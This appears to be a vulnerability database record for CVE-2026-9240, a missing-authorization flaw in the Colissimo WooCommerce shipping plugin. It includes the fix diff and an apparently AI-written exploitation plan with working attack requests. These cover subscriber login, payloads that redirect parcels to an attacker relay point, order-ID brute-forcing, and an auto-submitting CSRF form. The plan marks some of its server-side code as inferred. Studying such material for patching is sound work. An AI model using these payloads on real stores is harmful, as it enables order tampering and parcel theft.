[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f0qdAhB7I4YNjmRErV0HqNEWWjt1oZLPCVn8mr0zV-UE":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-9240","colissimo-officiel-mthodes-de-livraison-pour-woocommerce-missing-authorization-to-authenticated-subscriber-arbitrary-ord","Colissimo Officiel : Méthodes de livraison pour WooCommerce \u003C= 2.9.0 - Missing Authorization to Authenticated (Subscriber+) Arbitrary Order Shipment Modification via lpc_order_affect AJAX action","The Colissimo Officiel : Méthodes de livraison pour WooCommerce plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the updateShippingMethod() function (registered to the wp_ajax_lpc_order_affect AJAX action) in versions up to, and including, 2.9.0. This is due to the handler performing no current_user_can() capability check and no nonce verification before reading an attacker-supplied order_id and modifying that order's shipping method, pickup-point meta, and shipping address. This makes it possible for authenticated attackers, with Subscriber-level access and above, to create or modify the shipment information (shipping method, pickup relay data, and shipping address) of arbitrary WooCommerce orders, including orders placed by other users.","colissimo-shipping-methods-for-woocommerce",null,"\u003C=2.9.0","2.10.0","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","Missing Authorization","2026-07-08 20:39:21","2026-07-09 09:31:19",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F16041d22-51ff-4fa4-99fb-20a60b557634?source=api-prod",1,[22,23,24,25,26,27,28,29],"admin\u002Fbordereau\u002Flpc_bordereau_download_action.php","admin\u002Fbordereau\u002Flpc_bordereau_print_action.php","admin\u002Fcss\u002Fsettings\u002Fcutt_off.css","admin\u002Finit.php","admin\u002Fjs\u002Forders\u002Flpc_order_affect.js","admin\u002Fjs\u002Forders\u002Flpc_order_banner.js","admin\u002Fjs\u002Fsettings\u002Fcutt_off.js","admin\u002Fjs\u002Fsettings\u002Fsettings_display.js","researched",false,3,"# Exploitation Research Plan: CVE-2026-9240\n\n## 1. Vulnerability Summary\n\nThe Colissimo Officiel plugin (slug: `colissimo-shipping-methods-for-woocommerce`) versions ≤ 2.9.0 has a **Missing Authorization** vulnerability in the `wp_ajax_lpc_order_affect` AJAX action. The handler function `updateShippingMethod()` (in class `LpcAdminOrderAffect`, file `admin\u002Forders\u002Flpc_admin_order_affect.php`) performs **no `current_user_can()` capability check** and **no nonce verification** before accepting an attacker-supplied `order_id` and modifying that order's shipping method, pickup-point relay metadata, and shipping address.\n\nThis allows any authenticated WordPress user (including Subscriber-level accounts) to modify the shipment information of **any** WooCommerce order, regardless of ownership.\n\n**Why it exists:** The AJAX handler was registered for all authenticated users via `wp_ajax_lpc_order_affect` but the callback function omits both:\n- A capability check (e.g., `current_user_can('edit_shop_orders')`)\n- A nonce verification (e.g., `check_ajax_referer()` or `wp_verify_nonce()`)\n\nCompare with other handlers in the same plugin (e.g., `LpcBordereauDownloadAction::control()` which checks `current_user_can('lpc_download_bordereau')`, and `LpcBordereauPrintAction::control()` which checks `current_user_can('lpc_print_bordereau')`).\n\n## 2. Attack Vector Analysis\n\n**Endpoint:** `POST \u002Fwp-admin\u002Fadmin-ajax.php`\n\n**Action parameter:** `action=lpc_order_affect`\n\n**Hook registration (inferred from `admin\u002Finit.php` line):**\n```php\nLpcRegister::register('lpcAdminOrderAffect', new LpcAdminOrderAffect());\n```\nThe class `LpcAdminOrderAffect` registers the handler via:\n```php\nadd_action('wp_ajax_lpc_order_affect', [$this, 'updateShippingMethod']);\n```\n(inferred — the JS file `lpc_order_affect.js` explicitly sends `action: 'lpc_order_affect'` and there is no `wp_ajax_nopriv_` variant, confirming it's authenticated-only)\n\n**HTTP Parameters (from `lpc_order_affect.js`):**\n| Parameter | Description |\n|-----------|-------------|\n| `action` | `lpc_order_affect` |\n| `order_id` | The target WooCommerce order ID (any order) |\n| `new_shipping_method` | The new shipping method slug (e.g., `lpc_expert`, `lpc_relay`, `lpc_nosign`, `lpc_sign`) |\n| `shipping_item_id` | The shipping line item ID within the order |\n| `relay_information` | JSON string with relay point data (required when `new_shipping_method=lpc_relay`) |\n\n**Authentication Required:** Any logged-in WordPress user (Subscriber+)\n\n**Nonce Required:** **None.** The JS code in `lpc_order_affect.js` does not send any nonce parameter, and the handler (inferred) does not call `check_ajax_referer()` or `wp_verify_nonce()`. This is the core of the vulnerability.\n\n**Preconditions:**\n1. WooCommerce must be active with at least one order\n2. The Colissimo plugin must be active (version ≤ 2.9.0)\n3. The attacker must have a valid WordPress account (Subscriber suffices)\n\n## 3. Code Flow\n\n### Entry Point\nThe JavaScript file `admin\u002Fjs\u002Forders\u002Flpc_order_affect.js` sends the AJAX request:\n\n```javascript\n$.ajax({\n    url: ajaxurl,\n    type: 'POST',\n    dataType: 'json',\n    data: {\n        action: 'lpc_order_affect',\n        order_id: orderId,\n        new_shipping_method: $('input[name=\"lpc_new_shipping_method\"]:checked').val(),\n        shipping_item_id: $('input[name=\"lpc_order_affect_shipping_item_id\"]').val(),\n        relay_information: $('input[name=\"lpc_order_affect_relay_informations\"]').val()\n    },\n    \u002F\u002F ...\n});\n```\n\n### Server-Side Handler (inferred from description + JS)\nIn `admin\u002Forders\u002Flpc_admin_order_affect.php`, the `LpcAdminOrderAffect` class:\n\n1. **Registration:** In `init()` or constructor, registers:\n   ```php\n   add_action('wp_ajax_lpc_order_affect', [$this, 'updateShippingMethod']);\n   ```\n\n2. **`updateShippingMethod()` function:**\n   - Reads `$_POST['order_id']` — **no ownership or capability check**\n   - Reads `$_POST['new_shipping_method']` — the new Colissimo shipping method\n   - Reads `$_POST['shipping_item_id']` — the WC shipping line item ID\n   - Reads `$_POST['relay_information']` — JSON with relay\u002Fpickup point data\n   - **No `current_user_can()` call** (e.g., missing `current_user_can('edit_shop_orders')`)\n   - **No nonce verification** (no `check_ajax_referer()` or `wp_verify_nonce()`)\n   - Loads the order via `wc_get_order($order_id)`\n   - Updates the order's shipping method on the shipping item\n   - If `new_shipping_method === 'lpc_relay'`, updates pickup point meta and shipping address fields\n   - Saves the order\n   - Returns JSON success\u002Ferror response\n\n### Sink\nThe sink is the modification of arbitrary WooCommerce order data:\n- Shipping method change (via `WC_Order_Item_Shipping` methods)\n- Order meta update (pickup relay data via `update_meta_data()` or `update_post_meta()`)\n- Shipping address update (via `set_shipping_*()` methods on the order object)\n\n## 4. Nonce Acquisition Strategy\n\n**No nonce is required.** The vulnerability description explicitly states \"no nonce verification\" and the JavaScript code in `lpc_order_affect.js` does **not** include any nonce parameter in its AJAX `data` object. Comparing with other plugin handlers that do verify nonces\u002Fcapabilities (bordereau handlers check `current_user_can`), this handler has neither protection.\n\nTherefore, the exploit only requires a valid WordPress authentication cookie for any user role (Subscriber+). No nonce extraction is needed.\n\n## 5. Exploitation Strategy\n\n### Step 1: Create a Subscriber User (if not already existing)\n```bash\nwp user create attacker attacker@example.com --role=subscriber --user_pass=attacker123\n```\n\n### Step 2: Log in as Subscriber to Obtain Authentication Cookies\n\nUse `http_request` (Playwright-based) to perform a login:\n\n```\nPOST http:\u002F\u002Flocalhost:8080\u002Fwp-login.php\nContent-Type: application\u002Fx-www-form-urlencoded\n\nlog=attacker&pwd=attacker123&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1\n```\n\nStore\u002Fforward the resulting cookies (`wordpress_logged_in_*`, `wordpress_*`) for subsequent requests.\n\n### Step 3: Identify a Target Order\n\nBefore exploiting, determine an existing order ID. This can be done by:\n- Using WP-CLI in setup: `wp wc order list --format=ids` (for test setup)\n- Or trying common order IDs (1, 2, 3...) since the handler will return errors for non-existent orders\n\n### Step 4: Send the Exploit Request\n\n**Primary exploit — Change shipping method of arbitrary order:**\n\n```\nPOST http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php\nContent-Type: application\u002Fx-www-form-urlencoded\nCookie: [subscriber authentication cookies]\n\naction=lpc_order_affect&order_id=\u003CTARGET_ORDER_ID>&new_shipping_method=lpc_expert&shipping_item_id=\u003CSHIPPING_ITEM_ID>&relay_information={}\n```\n\n**If `shipping_item_id` is unknown**, try `0` or omit it — many WooCommerce order handlers accept this or use the first shipping item. Alternatively, the handler may look up shipping items from the order.\n\n**Variant — Change to relay method with attacker-controlled address:**\n\n```\nPOST http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php\nContent-Type: application\u002Fx-www-form-urlencoded\nCookie: [subscriber authentication cookies]\n\naction=lpc_order_affect&order_id=\u003CTARGET_ORDER_ID>&new_shipping_method=lpc_relay&shipping_item_id=\u003CSHIPPING_ITEM_ID>&relay_information={\"identifiant\":\"ATTACKER_RELAY\",\"nom\":\"Attacker+Relay\",\"adresse\":\"123+Attacker+St\",\"codePostal\":\"75001\",\"commune\":\"Paris\",\"codePays\":\"FR\"}\n```\n\nThis variant is more impactful — it redirects the physical shipment to an attacker-controlled pickup point address.\n\n### Step 5: Verify the Response\n\nExpected successful response:\n```json\n{\"type\":\"success\",\"data\":{\"message\":\"...\"}}\n```\n\nOr the page reloads (the JS does `location.reload()` on success).\n\nError response if something is wrong:\n```json\n{\"type\":\"error\",\"data\":{\"message\":\"...\"}}\n```\n\n## 6. Test Data Setup\n\n### 6.1 Plugin Installation\n```bash\n# Install and activate WooCommerce (prerequisite)\nwp plugin install woocommerce --activate\n\n# Run WooCommerce setup (minimal)\nwp option update woocommerce_store_address \"123 Test St\"\nwp option update woocommerce_store_city \"Paris\"\nwp option update woocommerce_store_postcode \"75001\"\nwp option update woocommerce_default_country \"FR\"\nwp option update woocommerce_currency \"EUR\"\n\n# The Colissimo plugin should already be installed at vulnerable version\nwp plugin activate colissimo-shipping-methods-for-woocommerce\n```\n\n### 6.2 Create Test WooCommerce Product and Order\n```bash\n# Create a simple product\nwp wc product create --name=\"Test Product\" --regular_price=10.00 --status=publish --user=1\n\n# Create an admin\u002Fshop-manager user (order owner - the victim)\nwp user create victim victim@example.com --role=shop_manager --user_pass=victim123\n\n# Create a test order as admin (simulating a real customer order)\nwp wc order create --customer_id=1 --status=processing --user=1\n\n# Note the order ID from the output\n# Add a line item to the order (may need to be done programmatically)\n```\n\nAlternatively, create an order programmatically:\n```bash\nwp eval '\n$order = wc_create_order([\"customer_id\" => 1]);\n$product = wc_get_products([\"limit\" => 1])[0];\n$order->add_product($product, 1);\n\n\u002F\u002F Add a shipping line item\n$shipping = new WC_Order_Item_Shipping();\n$shipping->set_method_title(\"Colissimo sans signature\");\n$shipping->set_method_id(\"lpc_nosign\");\n$shipping->set_total(5.00);\n$order->add_item($shipping);\n\n$order->set_shipping_address_1(\"456 Victim St\");\n$order->set_shipping_city(\"Lyon\");\n$order->set_shipping_postcode(\"69001\");\n$order->set_shipping_country(\"FR\");\n$order->set_shipping_first_name(\"Victim\");\n$order->set_shipping_last_name(\"User\");\n$order->calculate_totals();\n$order->save();\n\necho \"Order ID: \" . $order->get_id() . \"\\n\";\n\n\u002F\u002F Get shipping item ID\nforeach ($order->get_shipping_methods() as $item_id => $item) {\n    echo \"Shipping Item ID: \" . $item_id . \"\\n\";\n}\n'\n```\n\n### 6.3 Create Attacker Account\n```bash\nwp user create attacker attacker@example.com --role=subscriber --user_pass=attacker123\n```\n\n### 6.4 Record Pre-Exploit State\n```bash\n# Record the original shipping method and address\nwp eval '\n$order_id = \u003CORDER_ID>;\n$order = wc_get_order($order_id);\necho \"Shipping Method: \";\nforeach ($order->get_shipping_methods() as $item) {\n    echo $item->get_method_id() . \"\\n\";\n}\necho \"Shipping Address: \" . $order->get_shipping_address_1() . \"\\n\";\necho \"Shipping City: \" . $order->get_shipping_city() . \"\\n\";\n'\n```\n\n## 7. Expected Results\n\nA successful exploit will show:\n\n1. **HTTP Response:** A JSON success response from admin-ajax.php:\n   ```json\n   {\"type\":\"success\",\"data\":{...}}\n   ```\n   (or potentially `{\"success\":true,...}` depending on the plugin's response format)\n\n2. **Order Modification:** The target order's shipping data will be changed:\n   - **Shipping method** changed from the original (e.g., `lpc_nosign`) to the attacker-specified method (e.g., `lpc_expert` or `lpc_relay`)\n   - **If `lpc_relay` was used:** Pickup point metadata will be set\u002Fmodified to attacker-supplied values, and the shipping address on the order may be overwritten with the relay point address\n\n3. **No error or permission denied** response despite the request coming from a Subscriber account that has no shop order management capabilities.\n\n## 8. Verification Steps\n\nAfter sending the exploit request, verify using WP-CLI:\n\n```bash\n# Check the order's shipping method was changed\nwp eval '\n$order_id = \u003CORDER_ID>;\n$order = wc_get_order($order_id);\necho \"=== Post-Exploit Order State ===\\n\";\nforeach ($order->get_shipping_methods() as $item_id => $item) {\n    echo \"Shipping Item ID: \" . $item_id . \"\\n\";\n    echo \"Method ID: \" . $item->get_method_id() . \"\\n\";\n    echo \"Method Title: \" . $item->get_method_title() . \"\\n\";\n}\necho \"Shipping Address 1: \" . $order->get_shipping_address_1() . \"\\n\";\necho \"Shipping City: \" . $order->get_shipping_city() . \"\\n\";\necho \"Shipping Postcode: \" . $order->get_shipping_postcode() . \"\\n\";\necho \"Shipping Country: \" . $order->get_shipping_country() . \"\\n\";\n'\n```\n\n```bash\n# Check for relay point metadata changes\nwp eval '\n$order_id = \u003CORDER_ID>;\n$order = wc_get_order($order_id);\n$relay_id = $order->get_meta(\"lpc_relay_point_id\");\n$relay_data = $order->get_meta(\"_lpc_meta_pickUpLocationId\");\necho \"Relay Point ID: \" . $relay_id . \"\\n\";\necho \"Pickup Location: \" . print_r($relay_data, true) . \"\\n\";\n\n\u002F\u002F Also check various Colissimo-specific meta keys\n$meta_data = $order->get_meta_data();\nforeach ($meta_data as $meta) {\n    $key = $meta->key;\n    if (strpos($key, \"lpc\") !== false || strpos($key, \"colissimo\") !== false) {\n        echo $key . \" = \" . print_r($meta->value, true) . \"\\n\";\n    }\n}\n'\n```\n\n**Success criteria:**\n- The shipping method ID changed from original value to the attacker-specified value\n- If relay method was used, shipping address fields reflect attacker-supplied relay data\n- The authenticated user performing the action was a Subscriber (no shop management capabilities)\n\n## 9. Alternative Approaches\n\n### Alternative A: Brute-Force Order IDs\nIf the target order ID is unknown, iterate through common order IDs:\n```\nfor order_id in 1 2 3 ... 100:\n    POST action=lpc_order_affect&order_id={order_id}&new_shipping_method=lpc_expert&shipping_item_id=0&relay_information={}\n```\nNon-existent orders will return errors; valid orders will succeed.\n\n### Alternative B: Omit `shipping_item_id`\nIf `shipping_item_id` is required but unknown, try:\n- `shipping_item_id=0` — the handler may default to the first shipping item\n- `shipping_item_id=` (empty) — same reasoning\n- Omit the parameter entirely — the handler might fetch all shipping items from the order\n\n### Alternative C: Try Without `relay_information` for Non-Relay Methods\nFor simpler exploitation, use a non-relay shipping method which likely doesn't require relay data:\n```\naction=lpc_order_affect&order_id=\u003CID>&new_shipping_method=lpc_sign&shipping_item_id=\u003CITEM_ID>&relay_information={}\n```\nMethods like `lpc_sign`, `lpc_nosign`, `lpc_expert` should work without relay point data.\n\n### Alternative D: Use `lpc_relay` with Realistic Relay Data\nIf the handler validates relay data format, supply realistic-looking JSON:\n```json\n{\n    \"identifiant\": \"999999\",\n    \"nom\": \"Attacker Relay Point\",\n    \"adresse\": \"1 Rue Malveillante\",\n    \"codePostal\": \"75001\",\n    \"localite\": \"Paris\",\n    \"codePays\": \"FR\",\n    \"typeDePoint\": \"BPR\",\n    \"accesPersonneMobiliteReduite\": \"true\",\n    \"horairesOuvertureLundi\": \"08:00-18:00\"\n}\n```\n\n### Alternative E: CSRF Attack (Bonus)\nSince there's no nonce verification, this is also exploitable as a **CSRF** attack. An attacker could host a page with a hidden form that auto-submits to the target WordPress site, modifying orders when any logged-in WordPress user (even an admin) visits the malicious page:\n\n```html\n\u003Cform action=\"https:\u002F\u002Ftarget.example.com\u002Fwp-admin\u002Fadmin-ajax.php\" method=\"POST\" id=\"csrf\">\n  \u003Cinput type=\"hidden\" name=\"action\" value=\"lpc_order_affect\">\n  \u003Cinput type=\"hidden\" name=\"order_id\" value=\"42\">\n  \u003Cinput type=\"hidden\" name=\"new_shipping_method\" value=\"lpc_relay\">\n  \u003Cinput type=\"hidden\" name=\"shipping_item_id\" value=\"1\">\n  \u003Cinput type=\"hidden\" name=\"relay_information\" value='{\"identifiant\":\"EVIL\",\"nom\":\"Attacker\",\"adresse\":\"123 Evil St\",\"codePostal\":\"75001\",\"commune\":\"Paris\",\"codePays\":\"FR\"}'>\n\u003C\u002Fform>\n\u003Cscript>document.getElementById('csrf').submit();\u003C\u002Fscript>\n```\n\nHowever, the primary PoC should focus on the **Missing Authorization** aspect (authenticated Subscriber making the request directly), as that is what the CVE describes.\n\n### Alternative F: Check for `updateShippingMethod` in Source\nIf the handler function name or registration differs from what's inferred, search the plugin source:\n```bash\ngrep -rn \"lpc_order_affect\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fcolissimo-shipping-methods-for-woocommerce\u002F --include=\"*.php\"\ngrep -rn \"updateShippingMethod\" \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fcolissimo-shipping-methods-for-woocommerce\u002F --include=\"*.php\"\n```\nThis will reveal the exact file path, function name, and any parameters that the handler reads.","The Colissimo Officiel plugin for WooCommerce is vulnerable to unauthorized modification of order data because it fails to perform capability checks or nonce verification on the 'lpc_order_affect' AJAX action. This allows authenticated attackers with minimal permissions (Subscriber-level) to modify shipping methods, pickup-point metadata, and shipping addresses for any order, regardless of ownership.","\u002F\u002F admin\u002Forders\u002Flpc_admin_order_affect.php\n\n    public function updateShippingMethod() {\n        $orderId = LpcHelper::getVar('order_id');\n        if (empty($orderId)) {\n            LpcHelper::endAjax(false, ['message' => 'Order not found']);\n        }\n\n---\n\n\u002F\u002F admin\u002Fjs\u002Forders\u002Flpc_order_affect.js\n\n                    $.ajax({\n                        url: ajaxurl,\n                        type: 'POST',\n                        dataType: 'json',                    \n                        data: {\n                            action: 'lpc_order_affect',\n                            order_id: orderId,\n                            new_shipping_method: $('input[name=\"lpc_new_shipping_method\"]:checked').val(),\n                            shipping_item_id: $('input[name=\"lpc_order_affect_shipping_item_id\"]').val(),\n                            relay_information: $('input[name=\"lpc_order_affect_relay_informations\"]').val()\n                        },","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcolissimo-shipping-methods-for-woocommerce\u002F2.9.0\u002Fadmin\u002Forders\u002Flpc_admin_order_affect.php\t2026-01-12 13:33:14.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fcolissimo-shipping-methods-for-woocommerce\u002F2.10.0\u002Fadmin\u002Forders\u002Flpc_admin_order_affect.php\t2026-05-29 10:34:40.000000000 +0000\n@@ -3,16 +3,14 @@\n defined('ABSPATH') || die('Restricted Access');\n \n class LpcAdminOrderAffect extends LpcComponent {\n+    const NONCE_SWITCH_METHOD = '_lpc_switch_method';\n+    const NONCE_NAME_SWITCH_METHOD = 'colissimo_switch_method';\n \n     protected $lpcShippingMethods;\n-\n     protected $lpcCapabilitiesByCountry;\n-\n     protected $lpcAdminPickupWebService;\n-\n     protected $lpcAdminPickupWidget;\n \n-\n     public function __construct(\n         ?LpcShippingMethods $shippingMethods = null,\n         ?LpcCapabilitiesPerCountry $capabilitiesPerCountry = null,\n@@ -82,6 +80,10 @@\n     }\n \n     public function updateShippingMethod() {\n+        if (!current_user_can('lpc_colissimo_bandeau') || 1 !== (int) check_ajax_referer(self::NONCE_NAME_SWITCH_METHOD, self::NONCE_SWITCH_METHOD, false)) {\n+            LpcHelper::endAjax(false, ['message' => 'Unauthorized access']);\n+        }\n+\n         $orderId = LpcHelper::getVar('order_id');\n         if (empty($orderId)) {\n             LpcHelper::endAjax(false, ['message' => 'Order not found']);","The exploit targets the 'lpc_order_affect' AJAX action. An authenticated attacker, such as a Subscriber, identifies a target WooCommerce order ID. They then send a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with the 'action' parameter set to 'lpc_order_affect', providing the 'order_id' and new shipment details. Because the 'updateShippingMethod' function lacks both capability checks (current_user_can) and nonce verification (check_ajax_referer), the plugin will process the request and modify the shipping method or relay information for the specified order, even if it does not belong to the attacker.","gemini-3-flash-preview","2026-07-15 22:19:33","2026-07-15 22:23:04",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","2.9.0","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcolissimo-shipping-methods-for-woocommerce\u002Ftags\u002F2.9.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcolissimo-shipping-methods-for-woocommerce.2.9.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcolissimo-shipping-methods-for-woocommerce\u002Ftags\u002F2.10.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcolissimo-shipping-methods-for-woocommerce.2.10.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fcolissimo-shipping-methods-for-woocommerce\u002Ftags"]